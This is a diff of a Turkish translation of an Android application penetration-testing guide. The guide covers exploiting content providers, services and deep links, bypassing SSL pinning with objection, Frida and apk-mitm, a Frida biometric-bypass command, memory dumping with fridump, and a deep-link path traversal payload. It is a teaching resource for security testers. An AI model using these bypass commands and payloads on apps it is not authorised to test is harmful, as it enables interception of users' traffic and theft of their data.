**NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak algılayacaktır, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, bu eski sürümlerde (API sürümleri < 21) yalnızca tehlikeli olduğu görünmektedir. **NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak algılayacaktır, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, bu eski sürümlerde (API sürümleri < 21) yalnızca tehlikeli olduğu görünmektedir.
{% hint style="info" %} {% hint style="info" %}
Bir yetkilendirme atlaması her zaman bir zafiyet olmayabilir, atlamaların nasıl çalıştığına ve hangi bilgilerin açığa çıkarıldığına bağlı olacaktır. Bir yetkilendirme atlatma her zaman bir zafiyet olmayabilir, atlatmanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlı olacaktır.
{% endhint %} {% endhint %}
**Hassas bilgi sızıntısı** **Hassas bilgi sızıntısı**
@ -367,20 +367,20 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi kötüye kullana
### İçerik Sağlayıcıları Sömürme - Hassas bilgilere erişme ve manipüle etme ### İçerik Sağlayıcıları Sömürme - Hassas bilgilere erişme ve manipüle etme
[**Bir İçerik Sağlayıcının ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#content-provider)\ [**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#content-provider)\
İçerik sağlayıcıları temel olarak **veri paylaşımı** için kullanılır. Bir uygulamanın mevcut içerik sağlayıcıları varsa, bunlardan **hassas** verileri **çıkarabilirsiniz**. Ayrıca mümkün **SQL enjeksiyonları** ve **Yol Geçişleri** test etmek de ilginç olabilir çünkü bunlar savunmasız olabilir. İçerik sağlayıcıları temelde **veri paylaşımı** için kullanılır. Bir uygulamanın mevcut içerik sağlayıcıları varsa, bunlardan **hassas** verileri **çıkarabilirsiniz**. Ayrıca mümkün **SQL enjeksiyonları** ve **Yol Geçişleri** test etmek de ilginç olabilir çünkü bunlar savunmasız olabilir.
[**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/#content-providers) [**Drozer ile İçerik Sağlayıcılarını nasıl sömürüleceğini öğrenin.**](drozer-tutorial/#content-providers)
### **Hizmetleri Sömürme** ### **Hizmetleri Sömürme**
[**Bir Hizmetin ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#services)\ [**Bir Hizmetin ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#services)\
Bir hizmet, temelde veri alabilen, işleyebilen ve yanıt döndürebilen bir şeydir (veya döndürmeyebilir). Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için dinamik olarak test etmelisiniz...\ Bir hizmet, temelde veri alabilen, işleyebilen ve yanıt döndürebilen bir şeydir (veya döndürmeyebilir). Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlatmak için dinamik olarak test etmelisiniz...\
[Hizmetleri Drozer ile nasıl sömüreceğinizi öğrenin.](drozer-tutorial/#services) [Hizmetleri Drozer ile nasıl sömüreceğinizi öğrenin.](drozer-tutorial/#services)
### **Yayın Alıcıları Sömürme** ### **Yayın Alıcıları Sömürme**
[**Bir Yayın Alıcısının ne olduğunu hatırlamak istiyorsanız burayı okuyun.**](android-applications-basics.md#broadcast-receivers)\ [**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız burayı okuyun.**](android-applications-basics.md#broadcast-receivers)\
Bir yayın alıcısı belirli bir türdeki mesajı bekleyecektir. Alıcı mesajı nasıl işlediğine bağlı olarak savunmasız olabilir.\ Bir yayın alıcısı belirli bir türdeki mesajı bekleyecektir. Alıcı mesajı nasıl işlediğine bağlı olarak savunmasız olabilir.\
[Yayın Alıcılarını Drozer ile nasıl sömüreceğinizi öğrenin.](./#exploiting-broadcast-receivers) [Yayın Alıcılarını Drozer ile nasıl sömüreceğinizi öğrenin.](./#exploiting-broadcast-receivers)
@ -406,73 +406,74 @@ _Not etmek gerekir ki **paket adını atlayabilirsiniz** ve mobil cihaz otomatik
``` ```
{% endcode %} {% endcode %}
**Kodun çalıştırıldığı** **Kodun çalıştırıldığı yer**
Uygulamada **çalıştırılacak kodu** bulmak için, deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın. Uygulamada **çalıştırılacak kodu** bulmak için, deeplink tarafından çağrılan aktiviteye gidin ve **`onNewIntent`** fonksiyonunu arayın.
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) ![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
**Hassas bilgi** **Hassas bilgiler**
Her defasında bir derin bağlantı bulduğunuzda, URL parametreleri aracılığıyla (şifreler gibi) **hassas veri almadığından emin olun**, çünkü başka bir uygulama derin bağlantıyı **taklit edebilir ve bu verileri çalabilir!** Her zaman bir derin bağlantı bulduğunuzda, URL parametreleri aracılığıyla (şifreler gibi) hassas veri almadığından emin olun, çünkü başka bir uygulama derin bağlantıyı **taklit edebilir ve bu verileri çalabilir!**
**Yol içinde parametreler** **Yol içindeki parametreler**
Herhangi bir derin bağlantının URL'nin yolunda bir parametre kullandığını da **mutlaka kontrol etmelisiniz** örneğin: `https://api.example.com/v1/users/{username}`, bu durumda şöyle bir şey yaparak yol geçişi yapabilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\ Herhangi bir derin bağlantının URL'nin yolunda bir parametre kullandığını **mutlaka kontrol etmelisiniz** örneğin: `https://api.example.com/v1/users/{username}`, bu durumda şöyle bir şeye erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (CSRF belirteci olmadan kullanıcı detaylarını değiştirebilirseniz ve zafiyetli uç nokta doğru yöntemi kullanıyorsa) ve diğer zafiyetleri tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/). Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (CSRF belirteci olmadan kullanıcı detaylarını değiştirebilirseniz ve zafiyetli uç nokta doğru yöntemi kullanıyorsa) ve diğer zafiyetleri tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/).
**Daha fazla örnek** **Daha fazla örnek**
Bir [ilginç ödül avı raporu](https://hackerone.com/reports/855618) hakkında bağlantılar (_/.well-known/assetlinks.json_). Bağlantılarla ilgili bir [ilginç ödül avı raporu](https://hackerone.com/reports/855618) (_/.well-known/assetlinks.json_).
### Taşıma Katmanı İnceleme ve Doğrulama Hataları ### Taşıma Katmanı İncelemesi ve Doğrulama Hataları
* Android uygulamaları tarafından **sertifikaların her zaman doğru şekilde incelenmediği** yaygındır. Bu uygulamaların genellikle uyarıları göz ardı edip öz imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi olağandır. * Android uygulamaları tarafından **sertifikaların her zaman doğru şekilde incelenmediği** yaygındır. Bu uygulamaların genellikle uyarıları göz ardı edip öz imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi olağandır.
* **SSL/TLS el sıkışması sırasında müzakereler bazen zayıf olabilir**, güvensiz şifreleme süitleri kullanılabilir. Bu zafiyet, bağlantının ortadaki adam (MITM) saldırılarına açık hale gelmesine neden olur, saldırganların verileri şifresini çözerek ele geçirmesine izin verir. * **SSL/TLS el sıkışması sırasında müzakereler bazen zayıf olabilir**, güvensiz şifreleme süitleri kullanılabilir. Bu zafiyet, bağlantının ortadaki adam (MITM) saldırılarına açık hale gelmesine neden olur, saldırganların verileri şifresini çözmesine izin verir.
* Uygulamaların güvenli kanalları kullanarak kimlik doğrulaması yapmasına rağmen diğer işlemler için şifrelenmemiş kanallar üzerinden iletişim kurması durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıklar tarafından ele geçirilmesine karşı korumaz. * Uygulamaların güvenli kanalları kullanarak kimlik doğrulaması yapmasına rağmen diğer işlemler için şifrelenmemiş kanallar üzerinden iletişim kurması durumunda **özel bilgilerin sızması** riski vardır. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıklar tarafından ele geçirilmesine karşı korumaz.
#### Sertifika Doğrulama #### Sertifika Doğrulama
**Sertifika doğrulamasına** odaklanacağız. Güvenliği artırmak için sunucunun sertifikasının bütünlüğü doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarını doğrulamak ve zafiyetleri ele almak için detaylı adımlar için [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar. **Sertifika doğrulamasına** odaklanacağız. Güvenliği artırmak için sunucunun sertifikasının bütünlüğü doğrulanmalıdır. Bu, güvensiz TLS yapılandırmaları ve hassas verilerin şifrelenmemiş kanallar üzerinden iletilmesi önemli riskler oluşturabilir. Sunucu sertifikalarını doğrulama adımları ve zafiyetleri ele alma konusunda detaylı bilgi için, [**bu kaynak**](https://manifestsecurity.com/android-application-security-part-10/) kapsamlı rehberlik sağlar.
#### SSL Pinning #### SSL Pinning
SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde depolanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için önemlidir. Hassas bilgilerle uğraşan uygulamalar için SSL Pinning uygulamak kesinlikle önerilir. SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde depolanan bilinen bir kopya ile doğrulamasıdır. Bu yöntem, MITM saldırılarını önlemek için önemlidir. Hassas bilgilerle uğraşan uygulamalar için SSL Pinning uygulamak kesinlikle önerilir.
#### Trafik İnceleme #### Trafik İnceleme
HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gerekir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafiğin proxy aracılığıyla görüntülenemeyebileceğini unutmayın. Özel bir CA sertifikasını yüklemek için kılavuz için [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** gerekir (örneğin, Burp). Bu sertifikayı yüklemeden, şifreli trafiği proxy üzerinden göremeyebilirsiniz. Özel bir CA sertifikasını yüklemek için kılavuz için, [**buraya tıklayın**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
**API Seviyesi 24 ve üzeri** hedefleyen uygulamalar, şifreli trafiği incelemek için ağ güvenlik yapılandırmasını değiştirmeyi gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme hakkında talimatlar için [**bu öğreticiye**](make-apk-accept-ca-certificate.md) başvurun. **API Seviyesi 24 ve üzeri** hedefleyen uygulamalar, şifreli trafiği incelemek için ağ güvenlik yapılandırmasını proxy'nin CA sertifikasını kabul edecek şekilde değiştirmeyi gerektirir. Bu adım, şifreli trafiği incelemek için kritik öneme sahiptir. Ağ Güvenlik Yapılandırmasını değiştirme konusunda talimatlar için, [**bu öğreticiye başvurun**](make-apk-accept-ca-certificate.md).
#### SSL Pinning'i Atlatma #### SSL Pinning'i Atlatma
SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur: SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu atlatmak gerekebilir. Bu amaçla çeşitli yöntemler mevcuttur:
* **apk-mitm** ile SSLPinning'i atlamak için **apk'yi otomatik olarak değiştirin**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlamak için köklü bir gereksinimin olmamasıdır, ancak uygulamayı silip yeni bir tane yüklemeniz gerekebilir ve bu her zaman işe yaramayabilir. * **apk-mitm** ile SSLPinning'i atlamak için **apk'yi otomatik olarak değiştirin**. Bu seçeneğin en büyük avantajı, SSL Pinning'i atlamak için köklüye ihtiyaç duymamanızdır, ancak uygulamayı silip yeni bir tane yüklemeniz gerekebilir ve bu her zaman işe yaramayabilir.
* Bu korumayı atlamak için **Frida**'yı kullanabilirsiniz (aşağıda tartışılmıştır). Burada Burp+Frida+Genymotion'u kullanma kılavuzuna erişebilirsiniz: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) * Bu korumayı atlamak için **Frida**'yı kullanabilirsiniz (aşağıda tartışılmıştır). Burada Burp+Frida+Genymotion'u kullanma kılavuzuna erişebilirsiniz: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
* **objection** kullanarak SSL Pinning'i otomatik olarak atlamayı deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` * **objection** kullanarak **otomatik olarak SSL Pinning'i atlamayı** deneyebilirsiniz: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
* **MobSF dinamik analiz** kullanarak SSL Pinning'i otomatik olarak atlamayı deneyebilirsiniz (aşağıda açıklanmıştır) * **MobSF dinamik analiz** kullanarak **otomatik olarak SSL Pinning'i atlamayı** deneyebilirsiniz (aşağıda açıklanmıştır)
* Hala yakalayamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz**. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) * Hala yakalayamadığınız bazı trafiğin olduğunu düşünüyorsanız, trafiği **iptables kullanarak burp'a yönlendirmeyi** deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Ortak Web Zafiyetlerini Arama #### Ortak Web Zafiyetlerini Arama
Uygulama içinde ortak web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tanımlama ve bunları azaltma hakkında detaylı bilgi bu özetin kapsamı dışındadır ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır. Uygulama içinde ortak web zafiyetlerini de aramak önemlidir. Bu zafiyetleri tanımlama ve bunları azaltma konusundaki detaylı bilgiler bu özetin kapsamının ötesindedir ancak başka yerlerde kapsamlı bir şekilde ele alınmaktadır.
### Frida ### Frida
[Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon aracıdır.\ [Frida](https://www.frida.re), geliştiriciler, ters mühendisler ve güvenlik araştırmacıları için dinamik enstrümantasyon aracıdır.\
**Çalışan uygulamalara erişebilir ve çalışma zamanında yöntemleri kancalayabilir, davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodları çalıştırabilirsiniz...**\ **Çalışan uygulamalara erişebilir ve çalışma zamanında yöntemleri kancalayabilir, davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodları çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz. Android uygulamalarını pentest etmek istiyorsanız, Frida'yı nasıl kullanacağınızı bilmelisiniz.
* Frida'yı nasıl kullanacağınızı öğrenin: [**Frida öğretici**](frida-tutorial/) * Frida'yı nasıl kullanacağınızı öğrenin: [**Frida öğretici**](frida-tutorial/)
* Frida ile işlemler için "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) * Frida ile işlemler için "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
* Ojection, Frida'nın otomatik kullanımını sağlamak için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) * Ojection, Frida'nın otomatik kullanımını sağlamak için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
* Harika Frida betikleri burada bulunabilir: [**https://codeshare.frida.re/**](https://codeshare.frida.re) * Bazı Harika Frida komut dosyalarını burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
* Anti-hata ayıklama / anti-frida mekanizmalarını atlatmaya çalışırken Frida'yı yükleyerek kod enjeksiyonu yapabilirsiniz [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç [linjector](https://github.com/erfur/linjector-rs))
### **Belleği Dökme - Fridump** ### **Belleği Dökme - Fridump**
Uygulamanın belleğinde şifreler veya mnemonikler gibi saklanmaması gereken hassas bilgilerin olup olmadığını kontrol edin. Uygulamanın, şifreler veya mnemonikler gibi saklamaması gereken hassas bilgileri bellekte saklayıp saklamadığını kontrol edin.
[**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökleyebilirsiniz: [**Fridump3**](https://github.com/rootbsd/fridump3) kullanarak uygulamanın belleğini dökleyebilirsiniz:
```bash ```bash
@ -483,7 +484,7 @@ python3 fridump3.py -u <PID>
frida-ps -Uai frida-ps -Uai
python3 fridump3.py -u "<Name>" python3 fridump3.py -u "<Name>"
``` ```
Bu, belleği ./dump klasörüne dökecek ve orada şuna benzer bir şeyle grep yapabilirsiniz: Bu, belleği ./dump klasörüne dökecek ve orada aşağıdaki gibi bir şeyle grep yapabilirsiniz:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -491,9 +492,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
``` ```
{% endcode %} {% endcode %}
### **Keystore'da Hassas Veriler** ### **Keystore'daki Hassas Veriler**
Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli izinlerle **erişmek hala mümkündür**. Uygulamalar burada hassas verileri açık metin olarak sakladığından, pentestler bunu kontrol etmelidir çünkü root kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir. Android'de Keystore, hassas verileri saklamak için en iyi yerdir, ancak yeterli izinlerle **erişmek hala mümkündür**. Uygulamalar burada hassas verileri açık metin olarak sakladığından, pentestler bunu kontrol etmelidir çünkü kök kullanıcı veya cihaza fiziksel erişimi olan biri bu verileri çalabilir.
Bir uygulama keystore'da tarih saklasa bile, veriler şifrelenmelidir. Bir uygulama keystore'da tarih saklasa bile, veriler şifrelenmelidir.
@ -509,19 +510,21 @@ Aşağıdaki Frida betiği kullanılarak Android uygulamalarının **belirli has
```bash ```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package> frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
``` ```
{% endcode %}
### **Arka Plan Resimleri** ### **Arka Plan Resimleri**
Uygulamayı arka plana aldığınızda, Android uygulamanın bir **anlık görüntüsünü** saklar, böylece tekrar ön plana alındığında uygulama öncesinde yüklendiği için daha hızlı yüklendiği izlenimi oluşturur. Uygulamayı arka plana aldığınızda, Android uygulamanın bir **anlık görüntüsünü** saklar, böylece uygulama öne çıkarıldığında uygulamadan önce görüntüyü yüklemeye başlar, böylece uygulamanın daha hızlı yüklendiği izlenimi oluşturulur.
Ancak, bu anlık görüntü **duyarlı bilgileri** içeriyorsa, bu görüntüye erişimi olan biri bu bilgileri **çalabilir** (bu görüntüye erişmek için root erişimine ihtiyacınız vardır). Ancak, bu anlık görüntü **duyarlı bilgileri** içeriyorsa, bu görüntüye erişimi olan biri bu bilgileri **çalabilir** (unutmayın ki bunun için kök erişime ihtiyacınız vardır).
Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`** Anlık görüntüler genellikle şurada saklanır: **`/data/system_ce/0/snapshots`**
Android, FLAG\_SECURE düzenleme parametresini ayarlayarak **ekran görüntüsü alınmasını engelleyen bir yol** sağlar. Bu bayrağı kullanarak, pencere içeriği güvenli olarak işlenir, bu da ekran görüntülerinde görünmesini veya güvensiz ekranlarda görüntülenmesini engeller. Android, FLAG\_SECURE düzen parametresini ayarlayarak ekran görüntüsü alınmasını **engellemenin bir yolunu sağlar**. Bu bayrağı kullanarak, pencere içeriği güvenli olarak işlenir, bu da ekran görüntülerinde görünmesini veya güvensiz ekranlarda görüntülenmesini engeller.
```bash ```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
``` ```
### **Android Uygulama Analizörü** ### **Android Uygulama Analizcisi**
Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) Bu araç, dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
@ -534,7 +537,7 @@ Tehlike, saldırganların bu Intent'leri yanıltarak non-exported uygulama bile
### Temel Öğretiler ### Temel Öğretiler
* **Intent Enjeksiyonu**, web'in Açık Yönlendirme sorununa benzerdir. * **Intent Enjeksiyonu**, web'in Açık Yönlendirme sorununa benzerdir.
* Saldırılar, güvensiz işlemleri yürütmek için yönlendirilebilecek `Intent` nesnelerinin ekstralar olarak iletilmesini içerir. * Saldırılar, güvensiz işlemleri yürütmek için yönlendirilebilecek `Intent` nesnelerinin geçirilmesini içerir.
* Non-exported bileşenleri ve içerik sağlayıcılarını saldırganlara açığa çıkarabilir. * Non-exported bileşenleri ve içerik sağlayıcılarını saldırganlara açığa çıkarabilir.
* `WebView`'ın URL'lerini `Intent`e dönüştürmesi istenmeyen eylemleri kolaylaştırabilir. * `WebView`'ın URL'lerini `Intent`e dönüştürmesi istenmeyen eylemleri kolaylaştırabilir.
@ -543,10 +546,10 @@ Tehlike, saldırganların bu Intent'leri yanıltarak non-exported uygulama bile
Bu tür zayıflıkları muhtemelen Web'den biliyorsunuzdur. Bir Android uygulamasında bu tür zayıflıklara karşı özellikle dikkatli olmalısınız: Bu tür zayıflıkları muhtemelen Web'den biliyorsunuzdur. Bir Android uygulamasında bu tür zayıflıklara karşı özellikle dikkatli olmalısınız:
* **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla uğraşırken parametreli sorgular kullandığınızdan emin olun. * **SQL Enjeksiyonu:** Dinamik sorgular veya İçerik Sağlayıcılarla uğraşırken parametreli sorgular kullandığınızdan emin olun.
* **JavaScript Enjeksiyonu (XSS):** JavaScript ve Eklenti desteğinin herhangi bir WebView için devre dışı bırakıldığından emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). * **JavaScript Enjeksiyonu (XSS):** JavaScript ve Eklenti desteğinin devre dışı bırakıldığından emin olun (varsayılan olarak devre dışı). [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
* **Yerel Dosya Dahil Etme:** WebView'lerin dosya sistemine erişiminin devre dışı bırakılmış olması gerekir (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled). * **Yerel Dosya Dahil Etme:** WebViews'in dosya sistemine erişiminin devre dışı bırakılmış olması gerekir (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [Daha fazla bilgi burada](webview-attacks.md#javascript-enabled).
* **Ebedi çerezler**: Android uygulaması oturumu sonlandırdığında çerez iptal edilmiyor veya hatta diske kaydedilebiliyor. * **Kalıcı çerezler**: Android uygulaması oturumu sonlandırdığında çerez iptal edilmiyor veya hatta diske kaydedilebiliyor.
* [**Güvenli Bayrak** çerezlerde](../../pentesting-web/hacking-with-cookies/#cookies-flags) * Çerezlerde [**Güvenli Bayrak**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
*** ***
@ -573,31 +576,31 @@ Başlatılan en yeni ödül avcılarını ve önemli platform güncellemelerini
![](<../../.gitbook/assets/image (61).png>) ![](<../../.gitbook/assets/image (61).png>)
Uygulamanın güvenlik açıklarını değerlendirmek için güzel bir web tabanlı arayüz kullanarak. Ayrıca dinamik analiz yapabilirsiniz (ancak ortamı hazırlamanız gerekebilir). Uygulamanın güvenlik açıklarını değerlendirmek için güzel bir web tabanlı ön uç kullanarak statik analiz yapabilirsiniz. Ayrıca dinamik analiz yapabilirsiniz (ancak ortamı hazırlamanız gerekebilir).
```bash ```bash
docker pull opensecurity/mobile-security-framework-mobsf docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
``` ```
MobSF, **Android**(apk)**, IOS**(ipa) ve Windows**(apx) uygulamalarını analiz edebilir (_Windows uygulamaları bir Windows ana bilgisayarında yüklü olan MobSF'den analiz edilmelidir_).\ MobSF, **Android**(apk)**, IOS**(ipa) **ve Windows**(apx) uygulamalarını analiz edebilir (_Windows uygulamaları bir Windows ana bilgisayarında kurulu olan MobSF'den analiz edilmelidir_).\
Ayrıca, **Android** veya **IOS** uygulamasının kaynak koduyla ZIP dosyası oluşturursanız (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bu da analiz edilebilir. Ayrıca, bir **ZIP** dosyası oluşturursanız ve **Android** veya **IOS** uygulamasının kaynak kodunu içeren (uygulamanın kök klasörüne gidin, her şeyi seçin ve bir ZIP dosyası oluşturun), bu da analiz edilebilir.
MobSF ayrıca analizleri **karşılaştırma/farklılık** ve **VirusTotal** entegrasyonu yapmanıza olanak tanır (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecektir: `VT_ENABLED = TRUE` `VT_API_KEY = <API Anahtarınız>` `VT_UPLOAD = TRUE`). Ayrıca, `VT_UPLOAD`'i `False` olarak ayarlarsanız, **hash** dosya yerine **yüklenecektir**. MobSF ayrıca **diff/Karşılaştırma** analizi yapmanıza ve **VirusTotal** entegrasyonu yapmanıza izin verir (API anahtarınızı _MobSF/settings.py_ dosyasında ayarlamanız ve etkinleştirmeniz gerekecektir: `VT_ENABLED = TRUE` `VT_API_KEY = <API Anahtarınız>` `VT_UPLOAD = TRUE`). Ayrıca, `VT_UPLOAD`'ı `False` olarak ayarlarsanız, **hash** dosya yerine **yüklenecektir**.
### MobSF ile Desteklenen Dinamik Analiz ### MobSF ile Destekli Dinamik Analiz
**MobSF**, **Android** için dinamik analizde de çok faydalı olabilir, ancak bu durumda ana bilgisayarınıza MobSF ve **genymotion** kurmanız gerekecektir (bir sanal makine veya Docker çalışmayacaktır). _Not: **Önce genymotion'da bir sanal makine başlatmanız** ve **ardından MobSF'yi başlatmanız gerekmektedir.**_\ **MobSF**, **Android** için dinamik analizde de çok faydalı olabilir, ancak bu durumda ana bilgisayarınıza MobSF ve **genymotion** kurmanız gerekecektir (bir sanal makine veya Docker çalışmayacaktır). _Not: **Önce genymotion'da bir sanal makine başlatmanız** ve **ardından MobSF'yi başlatmanız gerekmektedir.**_\
**MobSF dinamik analizörü**, şunları yapabilir: **MobSF dinamik analizörü**, şunları yapabilir:
* **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalananlar, sizin tarafından yapılan ekran görüntüleri, "**Exported Activity Tester**" tarafından yapılan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri hariç, ekran görüntüsü almak istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**"ı basmanız gerekmektedir. * **Uygulama verilerini dökme** (URL'ler, günlükler, panoya kopyalanan metinler, sizin tarafından oluşturulan ekran görüntüleri, "**Exported Activity Tester**" tarafından oluşturulan ekran görüntüleri, e-postalar, SQLite veritabanları, XML dosyaları ve diğer oluşturulan dosyalar). Tüm bunlar otomatik olarak yapılır, ekran görüntüleri hariç, ekran görüntüsü almak istediğinizde basmanız veya tüm dışa aktarılan etkinliklerin ekran görüntülerini almak için "**Exported Activity Tester**"ı basmanız gerekmektedir.
* **HTTPS trafiğini yakalama** * **HTTPS trafiğini yakalama**
* **Frida** kullanarak **çalışma zamanı bilgileri** elde etme * **Frida** kullanarak **çalışma zamanı bilgileri** elde etme
